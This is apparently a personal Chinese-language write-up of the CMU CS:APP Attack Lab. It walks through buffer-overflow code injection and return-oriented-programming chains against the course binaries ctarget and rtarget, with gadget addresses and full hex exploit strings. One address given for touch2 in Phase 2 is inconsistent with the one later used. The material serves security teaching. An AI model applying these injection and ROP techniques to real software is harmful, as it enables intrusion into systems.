紙上得來終覺淺,絕知此事要躬行
實驗概覽
Attack!成為一名黑客不正是我小時候的夢想嗎?這個實驗一定會很有趣。
CMU 對本實驗的官方說明文件:http://csapp.cs.cmu.edu/3e/attacklab.pdf,按照 CMU 的文件一步步往下走就可以了。
Part 1: Code Injection Attacks
在第一部分中,我們要攻擊的是ctarget
。利用緩衝區溢位,就是程式的棧中分配某個字元陣列來儲存一個字串,而我們輸入的字串可以包含一些可執行程式碼的位元組編碼或者一個指向攻擊程式碼的指標覆蓋返回地址。那麼就能直接實現直接攻擊或者在執行ret
指令後跳轉到攻擊程式碼。
Phase 1
分析
首先給了test
函式的C語言程式碼:
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
這個函式呼叫了getbuf
函式,題目要求我們通過程式碼注入的方式使getbuf
執行結束後不返回到test
函式中,而是返回到touch1
函式。
touch1
的C語言程式碼如下:
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
反彙編test
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
End of assembler dump.
第2行分配棧幀,第4行呼叫getbuf
函式
反彙編getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
分配了40個位元組的棧幀,隨後將棧頂位置作為引數呼叫Gets
函式,讀入字串。
此時,棧幀情況是這樣的:(以8個位元組為單位)
查到touch1
程式碼地址為:0x4017c0
由此就有了思路,我們只需要輸入41個字元,前40個位元組將getbuf
的棧空間填滿,最後一個位元組將返回值覆蓋為0x4017c0
即touch1
的地址,這樣,在getbuf
執行retq
指令後,程式就會跳轉執行touch1
函式。
Solution
採用Write up
推薦方法,建立一個txt
文件儲存輸入。並按照HEX2RAW
工具的說明,在每個位元組間用空格或回車隔開。
x86
採用小端儲存,要注意輸入位元組的順序
我們的輸入為:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
執行命令:
./hex2raw < ctarget01.txt | ./ctarget -q
./hex2raw < ctarget01.txt
是利用hex2raw
工具將我們的輸入看作位元組級的十六進位制表示進行轉化,用來生成攻擊字串|
表示管道,將轉化後的輸入檔案作為ctarget
的輸入引數- 由於執行程式會預設連線 CMU 的伺服器,
-q
表示取消這一連線
攻擊成功!
Phase 2
分析
本題結構與上題相同,不同的是呼叫的touch2
函式的內容:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
不僅需要修改返回地址呼叫touch2
函式,還需要把cookie
作為引數傳進去。題目建議我們不使用jmp
和call
指令進行程式碼跳轉,也就是說,只能通過在棧中儲存目的碼的地址,然後以ret
的形式進行跳轉。
我們先深入理解ret
指令:
在CPU中有一個“PC”即程式暫存器,在 x86-64 中用%rip
表示,它時刻指向將要執行的下一條指令在記憶體中的地址。而我們的ret
指令就相當於:
pop %rip
即把棧中存放的地址彈出作為下一條指令的地址。
於是,利用push
和ret
就能實現我們的指令轉移啦!
思路如下:
-
首先,通過字串輸入把
caller
的棧中儲存的返回地址改為注入程式碼的存放地址 -
然後,編寫程式碼。我們的程式碼應該完成哪些工作呢?
- 檢視
cookie
值為0x59b997fa
,先將第一個引數暫存器修改為該值 - 在棧中壓入
touch2
程式碼地址 ret
指令呼叫返回地址也就是touch2
- 檢視
-
確定注入程式碼的地址。程式碼應該存在
getbuf
分配的棧中,地址為getbuf
函式中的棧頂
注入程式碼
查到touch2
程式碼地址為:0x4017c0
,由上述思路,得程式碼如下:
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
利用gdb
在getbuf
分配棧幀後打斷點,檢視棧頂指標的位置
0x5561dc78
這就是我們應該修改的返回地址
棧幀講解
按照我們的思路,輸入字串後的棧幀應該是這樣的
邏輯如下:
getbuf
執行ret
指令後,注入程式碼的地址從棧中彈出- 程式執行我們編寫的程式碼,當再次執行
ret
後,從棧中彈出的就是我們壓入的touch2
函式的地址,成功跳轉
Solution
先將我們的彙編程式碼儲存到一個.s
檔案中,接下來利用如下指令
gcc -c injectcode.s
objdump -d injectcode.o > injectcode.d
得到位元組級表示
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
將這段程式碼放到40個位元組中的開頭,程式碼地址放到末尾。於是就得到我們的輸入為:
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
攻擊成功!
Phase 3
分析
本題與上題類似,不同點在於傳的引數是一個字串。先給出touch3
的C語言程式碼
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
touch3
中呼叫了hexmatch
,它的C語言程式碼為:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
也就是說,我們要把cookie
轉換成對應的字串傳進去
注意第6行,s
的位置是隨機的,我們寫在getbuf
棧中的字串很有可能被覆蓋,一旦被覆蓋就無法正常比較。
因此,考慮把cookie
的字串資料存在test
的棧上,其它部分與上題相同,這裡不再重複思路。
注入程式碼
先查詢test
棧頂指標的位置:
0x5561dca8
,這就是我們字串存放的位置,也是呼叫touch3
應該傳入的引數,又touch3
程式碼的地址為4018fa
。從而得到程式碼:
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
位元組級表示為:
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
棧幀講解
我們期望的棧幀應該是這樣的:
邏輯如下:
getbuf
執行ret
,從棧中彈出返回地址,跳轉到我們注入的程式碼- 程式碼執行,先將存在
caller
的棧中的字串傳給引數暫存器%rdi
,再將touch3
的地址壓入棧中 - 程式碼執行
ret
,從棧中彈出touch3
指令,成功跳轉
Solution
我們的cookie0x59b997fa
作為字串轉換為ASCII
為:35 39 62 39 39 37 66 61
注入程式碼段的地址與上題一樣,同樣為0x5561dc78
由於在test
棧幀中多利用了一個位元組存放cookie,所以本題要輸入56個位元組。注入程式碼的位元組表示放在開頭,33-40個位元組放置注入程式碼的地址用來覆蓋返回地址,最後八個位元組存放cookie的ASCII
。於是得到如下輸入:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
攻擊成功!
Part 1
就此完結啦!
Part 2: Return-Oriented Programming
在第二部分中,我們要攻擊的是rtarget
,它的程式碼內容與第一部分基本相同,但是攻擊它卻比第一部分要難得多,主要是因為它採用了兩種策略來對抗緩衝區溢位攻擊
- 棧隨機化。這段程式分配的棧的位置在每次執行時都是隨機的,這就使我們無法確定在哪裡插入程式碼
- 限制可執行程式碼區域。它限制棧上存放的程式碼是不可執行的。
看到這裡,我不禁一頭霧水,這下子該怎麼攻擊啊?
慶幸的是,文件也提供了攻擊策略,即ROP:面向返回的程式設計,就是在已經存在的程式中找到特定的以ret
結尾的指令序列為我們所用,稱這樣的程式碼段為gadget
,把要用到部分的地址壓入棧中,每次ret
後又會取出一個新的gadget
,於是這樣就能形成一個程式鏈,實現我們的目的。我喜歡將這種攻擊方式稱作“就地取材,拼湊程式碼”。
同時,我們有如下指令編碼表:
舉個例子:
rtarget
有這樣一個函式:
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
它的彙編程式碼位元組級表示為:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
查表可知,取其中一部分位元組序列 48 89 c7 就表示指令movq %rax, %rdi
,這整句指令的地址為0x400f15
,於是從0x400f18
開始的程式碼就可以變成下面這樣:
movq %rax, %rdi
ret
這個小片段就可以作為一個gadget
為我們所用。
其它一些我們可以利用的程式碼都在檔案farm.c
中展示了出來
Phase 4
分析
本題的任務與Phase 2
相同,都是要求返回到touch2
函式,phase 2
中用到的注入程式碼為:
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
我們根本不可能找到這種帶特定立即數的gadget
,只能思考其他辦法。
首先,要做的是把 cookie 賦值給引數暫存器%rdi
,考慮將 cookie 放在棧中,再用指令:
pop %rdi
ret
就能實現引數的賦值了,當ret
後,從棧中取出來的程式地址再設定為touch2
的地址就能成功解決本題
但是後來發現在farm
中找不到這條指令的gadget
,經過多次嘗試,只好用其他暫存器進行中轉,考慮用兩個gadget
popq %rax
ret
###############
movq %rax, %rdi
ret
棧幀講解
根據我們的思路,棧幀情況如下:
邏輯如下:
getbuf
執行ret
,從棧中彈出返回地址,跳轉到我們的gardget01
gadget01
執行,將cookie
彈出,賦值給%rax
,然後執行ret
,繼續彈出返回地址,跳轉到gardget2
gardget2
執行,將cookie
值成功賦值給引數暫存器%rdi
,然後執行ret
,繼續彈出返回地址,跳轉到touch2
Solution
首要問題是找到我們需要的gadget
先用如下指令得到target
的彙編程式碼及位元組級表示
objdump -d rtarget > rtarget.s
查表知,pop %rax
用58
表示,於是查詢58
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq retq
得到指令地址為0x4019ab
movq %rax, %rdi
表示為48 89 c7
,剛好能找到!其中 90 表示“空”,可以忽略
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
得到指令地址為0x4019c5
根據上圖的棧幀,就能寫出我們的輸入序列:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
攻擊成功!
Phase 5
先附上Write up
中來自 CMU 官方的勸退:
Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3, you caused a program to execute machine code of your own design. If CTARGET had been a network server, you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own code, you were able inject a type of program that operates by stitching together sequences of existing code. You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now. Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.
現在是晚上 23:20,我本來已經頭昏眼花準備就寢明日再戰。但看到這段話,好傢伙,不僅沒把我勸退,還讓我的睏意一下子消失,精神振奮了起來。
長纓已在手,縛住蒼龍就在今日!
分析
本題的任務與Phase 3
相同,都是要求返回到touch3
函式
Phase 3
中用到的注入程式碼為:
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
其中0x5561dca8
是棧中cookie
存放的地址。
而在本題中,棧的位置是隨機的,把cookie
存放在棧中似乎不太現實,但是我們又不得不這樣做,那麼有什麼辦法呢?只能在程式碼中獲取%rsp
的地址,然後根據偏移量來確定cookie
的地址。想到這,思路就明晰了。
查表,movq %rsp, xxx
表示為48 89 xx
,查詢一下有沒有可用的gadget
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 retq
還真找到了,48 89 e0
對應的彙編程式碼為
movq %rsp, %rax
地址為:0x401aad
根據提示,有一個gadget
一定要用上
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
地址為:0x4019d6
通過合適的賦值,這段程式碼就能實現%rsp
加上段內偏移地址來確定cookie
的位置
剩下部分流程與Phase 3
一致,大體思路如下:
- 先取得棧頂指標的位置
- 取出存在棧中得偏移量的值
- 通過
lea (%rdi,%rsi,1),%rax
得到 cookie 的地址 - 將 cookie 的地址傳給
%rdi
- 呼叫
touch 3
由於gadget
的限制,中間的細節需要很多嘗試,嘗試過程不再一一列舉了,我們直接給出程式碼
#地址:0x401aad
movq %rsp, %rax
ret
#地址:0x4019a2
movq %rax, %rdi
ret
#地址:0x4019cc
popq %rax
ret
#地址:0x4019dd
movl %eax, %edx
ret
#地址:0x401a70
movl %edx, %ecx
ret
#地址:0x401a13
movl %ecx, %esi
ret
#地址:0x4019d6
lea (%rdi,%rsi,1),%rax
ret
#地址:0x4019a2
movq %rax, %rdi
ret
棧幀講解
為節省空間,每一行程式碼都省略了後面的ret
,
邏輯在圖上標的很清楚,這裡就不再用文字寫啦!
要注意,getbuf
執行ret
後相當於進行了一次pop
操作,test
的棧頂指標%rsp=%rsp+0x8
,所以cookie
相對於此時棧頂指標的偏移量是0x48
而不是0x50
Solution
根據上圖的棧幀,寫出輸入序列:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
Pass! 攻擊成功!
總結
- 本實驗涉及的內容在課本中只有短短几頁的篇幅,而實際操作中卻要考慮如此多的東西,確實是那句話“紙上得來終覺淺,絕知此事要躬行”。五個
Phase
的難度是層層遞進的,Part 1
讓我對部分彙編指令以及棧的原理有了更深的領悟;Part 2
可能就更加貼合實際工程專案了,我在這裡初步學習了“ROP”這一天才的攻擊技術,實現成功的攻擊需要對每一個位元組都能有足夠的敏感。同時,在我以後編寫的程式碼中,也應該注意到緩衝區溢位的問題 - 本實驗耗時2天,約9小時